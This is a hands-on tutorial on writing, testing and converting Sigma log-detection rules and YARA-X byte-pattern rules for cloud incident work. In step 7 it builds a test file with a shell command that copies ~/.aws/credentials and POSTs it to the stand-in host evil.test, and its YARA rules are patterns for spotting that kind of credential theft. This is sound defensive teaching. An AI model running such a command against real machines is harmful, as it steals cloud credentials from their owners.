Get the Zoom link
Cloud Security Office Hours Banner

Sigma and YARA, hands-on

Sigma lets you write a detection for log events once and convert it into the search language of whichever SIEM (security information and event management system) you use. YARA finds patterns in the bytes of files and memory. The two do different jobs, and this guide teaches both the same way: as rules that live in git, get reviewed, and are tested against harmless samples as well as malicious ones.

Start with Sigma All how-to guides

·

Time: ~2 hours  ·  Difficulty: Intermediate  ·  You need: Python 3.11 to 3.14 for sigma-cli, and yara-x for the YARA half. No SIEM required.

How this page was checked: on 2026-11-20, the Sigma rules and commands were run as printed with sigma-cli 4.0.1 (pySigma 2.1.0, Splunk backend 3.0.1), and the YARA rules and commands with yara-x-cli 1.23.0 and again with 1.24.0, on an Apple silicon Mac; the outputs shown are what they printed, and both YARA-X versions printed the same. Step 1 was run as printed, with Python 3.13.18; the install command in step 6 was not re-run, because yara-x 1.23.0 was already installed and 1.24.0 was run from the binary VirusTotal publishes on GitHub; and the correlation rule was converted for Splunk only.

Slides: download the PDF or make your own editable copy (copying needs a Google account). The slides are licensed CC BY-NC 4.0.

Two rule formats, two completely different jobs

Picture an incident in a cloud account. First you ask what happened, for example: who assumed this role (took on its permissions) from an unexpected IP address? The answer is in log events, such as the records CloudTrail keeps of the calls made in an Amazon Web Services (AWS) account. Then you find a file the intruder left and ask what it is: is this Lambda deployment package, the bundle of code behind a serverless function, the same malicious bundle we found last month? That answer is in the file's bytes. The cloud security reason to know both formats is that the two halves of an investigation need different tools. An incident usually needs both, and the handoff between them is where a lot of real work happens.

Sigma is for the first question. A Sigma rule describes a pattern in log events, in a vendor-neutral way, and is then compiled into whatever query language your SIEM speaks. It is a portability layer: a Sigma rule never executes; a translated query does.

YARA is for the second. A YARA rule describes a pattern in bytes: a file, a memory region, a process image (a running program as it sits in memory). YARA is an engine as well as a format, and the rule itself runs against the content.

These two get taught together, but they are different kinds of thing, and getting the distinction right early saves you from trying to use one where the other belongs. What they share is how you work with them. Both are detection-as-code in the literal sense: text files that belong in git, get code review, and can be tested. That is the real reason to prefer them over rules typed into a console.

On this page

  1. How to use this guide
  2. Sigma: portable log detections
  3. YARA: patterns in bytes
  4. Hands-on exercises
  5. Common mistakes
  6. Where next

How to use this guide

Intermediate here means you have used a SIEM or some log search language, can install Python packages and run commands in a terminal, and can read YAML, the indented name: value format Sigma rules are written in. If log searches are new to you, the Splunk SPL guide teaches, at beginner level, the language step 4 converts a Sigma rule into. Regular expressions appear in both halves, and regex for security covers them; detection engineering explains where rules like these fit in a security team's work.

Everything on this page runs on your own computer, and you do not need a SIEM: sigma-cli checks and converts Sigma rules without one, and YARA-X scans local files. Steps 1 and 6 install the two tools.

The page has two halves, and the YARA steps use nothing from the Sigma steps, so you can start with whichever you need. In the Sigma half, steps 1 to 5 install sigma-cli, write one rule, check it, convert it into a Splunk search, and then add a correlation rule, a second rule that counts the first one's matches over a time window. In the YARA half, steps 6 to 10 install YARA-X, write a rule and two small files to test it on, scan both, look at other kinds of condition, and format rules for review. The exercises cover both halves, with each answer hidden until you open "Show the answer".

Each input block has a label in its header, and every block has a copy button. A block labelled BASH goes into your terminal. A block labelled YAML is a Sigma rule or part of one: step 2 says what to name the file, and step 5 adds to the same file. The blocks labelled YARA, in step 9 and the exercises, are rules to read and try; the rule you scan with is written by step 7. The two unlabelled blocks show what a command printed: the Splunk search in step 4 and the scan in step 8. Step 7's block starts with cat > demo.yar <<'EOF', which writes every line down to the one that says only EOF into a file called demo.yar, and its last two lines then make the two test files. Paste the whole block at once, the EOF line included.

Your output should match the page if your versions match. The box at the top says the Sigma and YARA commands were run as printed, with sigma-cli 4.0.1 (pySigma 2.1.0, Splunk backend 3.0.1) and yara-x-cli 1.23.0 and 1.24.0 on an Apple silicon Mac, and the outputs shown are what they printed; other versions may print something different. Step 1 was run as printed, with Python 3.13.18, the install command in step 6 was not re-run, and the correlation rule in step 5 was converted for Splunk only.

Some parts can wait for a second reading: the list of value modifiers at the end of step 2, the correlation types after step 5's rule, and the two rules in step 9.

If a command fails or prints something else, check that you are in the folder that holds the files (step 1 makes ~/detect-lab and moves into it), that the rule file still has the name step 2 gave it (step 3 has you rename it as a test and then rename it back, because step 4 uses the original name), that the Splunk backend from step 1 is installed, and that you typed yr, not yara. Two failures are on purpose: the high-severity issue after the rename in step 3, and the first sigma convert in step 4.

Sigma: portable log detections

Suppose your team wants an alert when one source gets AccessDenied errors from AWS again and again, a common sign that someone is trying out a leaked key. Written as a Splunk search, the detection runs only in Splunk, and a team on another SIEM would have to rewrite it. Sigma lets you write it once, as a YAML file, and convert it for each SIEM. Steps 1 to 5 build that one rule: install the tools, write the rule, check it, convert it, and then make it count a burst rather than fire on every error. Read step 4 most carefully: a Sigma rule's field names are Sigma's, and a processing pipeline has to map them onto your SIEM's.

1. Install the toolchain

sigma-cli needs Python 3.11, 3.12, 3.13 or 3.14. The python3 that comes with macOS is 3.9, which is too old, and 3.15 does not work yet: sigma-cli depends on a package called google-re2, which has no ready-built version for 3.15, and pip's attempt to build one fails. This page uses Python 3.13. If python3.13 --version says the command is not found, install it with brew install python@3.13 on a Mac, or put the python3.11, python3.12 or python3.14 you have in its place below.

Make a folder for the lab, move into it, and install sigma-cli into a Python virtual environment: a folder, here .venv, that holds its own copy of Python's packages, so the install changes nothing else on your machine. Homebrew's Python refuses a plain pip install outside one, with an externally-managed-environment error.

mkdir -p ~/detect-lab && cd ~/detect-lab
python3.13 -m venv .venv
source .venv/bin/activate
python3 -m pip install sigma-cli
sigma version

The source line switches this terminal to the environment, and it lasts until you close the terminal. If you come back to the lab in a new one, run cd ~/detect-lab && source .venv/bin/activate before any sigma command. If you use pipx, pipx install sigma-cli replaces the three lines that make the environment and install into it.

Backends are plugins, installed separately. See what exists first, then install the Splunk backend:

sigma plugin list
sigma plugin install splunk

2. The anatomy of a rule

Save this as aws_cloudtrail_access_denied_burst.yml. The filename matters more than you would expect, and step 3 explains why.

title: Access Denied Burst From Single Source
id: 7c8f1f2a-3b4c-4d5e-8f90-1a2b3c4d5e6f     # a UUID, generated once, never reused
name: aws_cloudtrail_access_denied            # what a correlation rule calls it (step 5)
status: experimental                          # experimental | test | stable | deprecated
description: Repeated AccessDenied results from one source, a common sign of
  credential validation or enumeration after a key leak.
references:
  - https://csoh.org/howto/sigma-and-yara.html
author: CSOH
date: 2026-08-24

tags:
  - attack.discovery      # MITRE ATT&CK tactic
  - attack.t1580          # and technique: Cloud Infrastructure Discovery

# logsource is what a processing pipeline keys off to find your data.
logsource:
  product: aws
  service: cloudtrail

detection:
  # Each named block is a "search identifier". Keys ANDed, list values ORed.
  selection:
    errorCode: AccessDenied
  filter_known_scanner:
    userIdentity.arn|startswith: 'arn:aws:sts::111122223333:assumed-role/config-recorder/'
  condition: selection and not filter_known_scanner

falsepositives:
  - Misconfigured application retrying with stale credentials
  - Least-privilege rollout in progress
level: medium                                 # informational | low | medium | high | critical

The fields people skip are the ones that decide whether the rule survives contact with a real SOC (security operations center, the team that handles alerts). falsepositives is the note the analyst reads at 3am before deciding whether to escalate. level drives routing. id is how a rule stays identifiable after somebody renames the file.

Value modifiers do the matching work: |contains, |startswith, |endswith, |re for a regular expression, |cidr for network ranges, |all to require every item in a list rather than any, and |base64offset|contains for finding a string that has been base64-encoded at an unknown alignment.

3. Validate before you convert

sigma check aws_cloudtrail_access_denied_burst.yml

Expect Found 0 errors, 0 condition errors and 0 issues. Now rename the file to something short like rule.yml and check it again:

mv aws_cloudtrail_access_denied_burst.yml rule.yml
sigma check rule.yml

This time you get a high-severity FilenameLengthIssue. Rename the file back before step 4, which uses the original name:

mv rule.yml aws_cloudtrail_access_denied_burst.yml

The filename check exists because SigmaHQ rules live in a flat directory of thousands, where a descriptive filename is the only navigation there is. Put sigma check --fail-on-issues in CI over your rule directory and this class of drift never accumulates. The flag matters: by default sigma check reports issues and still exits 0, so a pipeline would pass.

4. Convert it, and meet the pipeline requirement

sigma convert -t splunk aws_cloudtrail_access_denied_burst.yml

That fails, deliberately, telling you to choose a processing pipeline or pass --without-pipeline. This is the most important thing to understand about Sigma, and the tool refuses to let you skip it.

A Sigma rule's field names are Sigma's names, not your SIEM's. A processing pipeline maps them onto the field names your data has after ingestion, and different ingestion paths for the same source produce different field names. Convert without a pipeline and you get a syntactically valid query referencing fields that do not exist in your index. It runs. It returns zero results. It looks like a quiet environment.

List the mappings that ship with the Splunk backend:

sigma list pipelines splunk

Now, knowing what you are giving up, convert without one:

sigma convert -t splunk --without-pipeline aws_cloudtrail_access_denied_burst.yml

Which produces:

errorCode="AccessDenied" NOT userIdentity.arn="arn:aws:sts::111122223333:assumed-role/config-recorder/*"

Read what the compiler did. |startswith became a trailing *, and not became NOT. That is the whole value proposition: the same rule targets Elastic, Sentinel, QRadar, Carbon Black, or SentinelOne by changing one flag, and each backend knows its own dialect's quirks.

Not every backend works with sigma-cli 4.0.1 yet. sigma plugin install refuses the Elasticsearch and QRadar backends, which sigma plugin list marks as not compatible. It does install the kusto backend for Sentinel, but after that every sigma command stops with an ImportError until you uninstall the pysigma-backend-kusto package.

5. Correlation rules

The rule above fires on a single denied event, which is noisy and not really what the title claims. "A burst" is a count over a window, and that needs a Sigma correlation rule: a second YAML document that references the first by name. Append it to the same file: its rules: entry points at the name: line from step 2, and without that line sigma-cli rejects the pair because the rule is "not found in rule collection". It also needs a title of its own, or sigma check reports a high-severity duplicate title.

---
title: Access Denied Burst From Single Source - 10 in 10 Minutes
id: 1f2e3d4c-5b6a-4789-9012-3456789abcde
status: experimental
correlation:
  type: event_count
  rules:
    - aws_cloudtrail_access_denied          # the `name:` of the base rule
  group-by:
    - sourceIPAddress
  timespan: 10m
  condition:
    gte: 10
level: high

Correlation types include event_count, value_count (distinct values, which is how you express "one principal touching many buckets"), and temporal (several different rules firing near each other). Backend support for correlation is uneven, so check before you build a detection strategy on it.

YARA: patterns in bytes

Now the second question from the start of the page: is this file the bad one? Steps 6 to 10 install YARA-X, write a rule for a script that reads cloud credentials and sends them off over the internet, test it on one file it must match and one it must not, then look at other conditions and at keeping rules in git.

6. Install YARA-X, not YARA

Install it with Homebrew, or with cargo install yara-x-cli in place of the first line, and check the version:

brew install yara-x
yr --version

YARA-X is the Rust rewrite from VirusTotal. Version 1.0 went stable in June 2025, VirusTotal runs it in production for Livehunt and Retrohunt, and the original YARA 4.x line is in maintenance mode receiving bug fixes only. The command is yr, not yara, and the subcommands are scan, compile, fmt, dump, deps, fix, and completion.

Rules are broadly compatible in the direction that matters: existing YARA rules generally work on YARA-X. Do not assume the reverse.

7. Write a rule, and a target to test it on

cat > demo.yar <<'EOF'
rule Suspicious_Cloud_Credential_Theft
{
    meta:
        author      = "you"
        description = "Script that reads cloud credential files and exfiltrates over HTTP"
        date        = "2026-08-24"

    strings:
        // Text strings. ascii wide = match both single-byte and UTF-16
        // encodings, which is how the same string looks in a Windows binary.
        $cred1 = "/.aws/credentials"    ascii wide nocase
        $cred2 = "/.config/gcloud"      ascii wide nocase
        $imds  = "169.254.169.254"      ascii wide

        // fullword = must be delimited, so "curl" does not match "curling"
        $exfil1 = "curl" fullword ascii nocase
        $exfil2 = "wget" fullword ascii nocase

        // A regular expression string. RE2-style: no backreferences.
        $exfil3 = /https?:\/\/[a-z0-9.-]+\/(upload|collect|p)\b/ nocase

    condition:
        filesize < 512KB
        and any of ($cred*, $imds)
        and any of ($exfil*)
}
EOF

printf '#!/bin/sh\ncat ~/.aws/credentials > /tmp/loot\ncurl -X POST https://evil.test/collect -d @/tmp/loot\n' > sample.sh
printf 'just some ordinary text with the word curl in it\n' > benign.txt

8. Compile, scan, and read the evidence

Compiling the rule with its output sent to /dev/null checks the syntax without scanning anything:

yr compile demo.yar -o /dev/null

Then scan the two test files:

yr scan demo.yar sample.sh
yr scan demo.yar benign.txt

Run both. The first prints the rule name and the filename, Suspicious_Cloud_Credential_Theft sample.sh, and the second prints nothing at all. benign.txt contains the word curl and correctly does not match, because the condition requires a credential indicator and an exfiltration indicator. That negative case is not a formality: it is the only thing distinguishing a working rule from one that matches half your filesystem.

yr scan -s demo.yar sample.sh

-s prints every matched string with its offset, length, identifier, and the actual bytes:

Suspicious_Cloud_Credential_Theft sample.sh
0xf:17:$cred1: /.aws/credentials
0x2d:4:$exfil1: curl
0x3a:25:$exfil3: https://evil.test/collect

This is how you debug a rule, and how you write up a finding. A match with no evidence is an assertion; a match with offsets is something a colleague can verify.

9. Conditions beyond "any of them"

rule Repeated_IMDS_Access
{
    strings:
        $imds = "169.254.169.254"
    condition:
        // #ident = how many times it matched
        // @ident[n] = the offset of the nth match (1-based)
        #imds >= 2 and @imds[1] < 200
}
// File-type anchoring. uint16(0) reads two bytes little-endian at offset 0;
// 0x5A4D is "MZ", the DOS header every Windows PE starts with.
rule Is_Windows_PE
{
    condition:
        uint16(0) == 0x5A4D and filesize > 1KB
}

Anchoring on structure rather than content is what makes a rule fast. YARA scans everything you point it at, so a rule that can rule out a file in two bytes is worth far more than one that has to search the whole thing. The pe, elf, math, and hash modules go further, exposing parsed structure such as imports, sections, and entropy.

10. Keep rules in git like code

yr fmt rewrites a rule file in canonical style. With --check it changes nothing, and if the file would be rewritten it prints the file's name and exits 1, which makes it a CI gate. Plain yr fmt also exits 1 whenever it rewrites a file, so in a script running under set -e, or as a CI step, it stops the run even though nothing is wrong.

yr fmt demo.yar
yr fmt --check demo.yar

Run in that order on the demo.yar from step 7, neither command prints anything. The first rewrites the file, moving the opening brace up onto the rule line and halving the indentation, and exits 1; the second finds nothing left to change and exits 0.

yr fmt --check and sigma check are the same idea applied to the two formats, and both belong in the same pipeline as the rules themselves.

Hands-on exercises

Exercise 1

Write a Sigma rule that fires when a CloudTrail event has eventName of PutBucketPolicy or PutBucketAcl, excluding calls made by your Terraform deployment role. Run sigma check on it and convert it to Splunk.

Show the answer
detection:
  selection:
    eventName:                       # a list of values is an OR
      - PutBucketPolicy
      - PutBucketAcl
  filter_terraform:
    userIdentity.arn|startswith: 'arn:aws:sts::111122223333:assumed-role/terraform-deploy/'
  condition: selection and not filter_terraform

The thing worth noticing is that the exclusion is a named block rather than a negated condition inline. That is the SigmaHQ convention and it exists so that a reviewer can see, in one glance, exactly what this rule is blind to. An exclusion buried inside a boolean expression is an exclusion nobody audits.

Also note what |startswith buys you: matching the role's session ARN prefix rather than an exact ARN means it keeps working across sessions, which change on every assume.

Exercise 2

Your converted Splunk query runs against a year of CloudTrail and returns zero results. Give three distinct explanations, ordered by how likely they are, and say how you would distinguish them.

Show the answer
  1. No pipeline, so the field names are wrong. Overwhelmingly the most likely. errorCode may be errorCode, aws.errorCode, or something the ingestion pipeline renamed. Distinguish it by searching for one field alone with no conditions and seeing whether it exists at all.
  2. The data is not in the index you are searching. Distinguish it by searching the index for any CloudTrail event whatsoever, with no filters.
  3. The detection is correct and the activity did not occur. The least likely, and the only one you may conclude after eliminating the first two.

The general habit is the one worth taking away, because it applies far beyond Sigma: a query that returns nothing and a query that cannot work return the same thing. Before believing a clean result, run a control you know should match. Search for an event you can personally cause, cause it, and confirm you can find it. If your known-good search comes back empty, the instrument is broken, not the environment quiet.

Exercise 3

This YARA rule was written to catch a credential stealer. It matches roughly every shell script on the system. Fix it, and explain the class of mistake.

rule Credential_Stealer
{
    strings:
        $a = "aws"
        $b = "curl"
        $c = "cat"
    condition:
        any of them
}
Show the answer

Three failures compounding. The strings are short, common English fragments; any of them means a single one is enough; and there is no fullword, so $a matches inside laws, flaws, and draws.

rule Credential_Stealer
{
    strings:
        $path  = "/.aws/credentials" ascii nocase
        $imds  = "169.254.169.254"   ascii
        $send1 = "curl" fullword ascii nocase
        $send2 = "wget" fullword ascii nocase
    condition:
        filesize < 512KB
        and any of ($path, $imds)      // a credential source, AND
        and any of ($send*)            // a way to send it off the box
}

The class of mistake is writing indicators for the tools rather than for the behaviour. curl is not suspicious. Reading a credential file and then invoking a network client is. Requiring one string from each of two groups is the standard shape for encoding that, and it is worth reaching for by default.

Then test the negative. A rule that has only ever been run against a known-bad sample has been tested in the direction that cannot fail.

Exercise 4

Which of these belongs to Sigma, which to YARA, and which to neither? (a) A phishing attachment recovered from a mailbox. (b) An unusual AssumeRole from a country you do not operate in. (c) An S3 bucket whose policy grants Principal: "*". (d) A Lambda deployment zip you want to compare against a known-bad build.

Show the answer

(a) YARA. A file, scanned for byte patterns.

(b) Sigma. A log event with fields to match on.

(c) Neither. This is configuration state, not an event and not a file. It is a posture question, and the right tools are OPA, CEL, or a CSPM. You could write a Sigma rule for the PutBucketPolicy event that created it, and that is worth doing, but it answers a different question: it catches the change, not the state. A bucket made public before you deployed the rule stays invisible forever.

(d) YARA. Though if you have a hash of the known-bad build, compare hashes: it is exact, instant, and needs no rule. Reach for YARA when you need to match a family of things rather than one specific artifact.

That last distinction is the one people get wrong most often, in both directions. Detecting a state change is not the same as assessing a state, and matching a family is not the same as identifying a file.

Common mistakes

Where next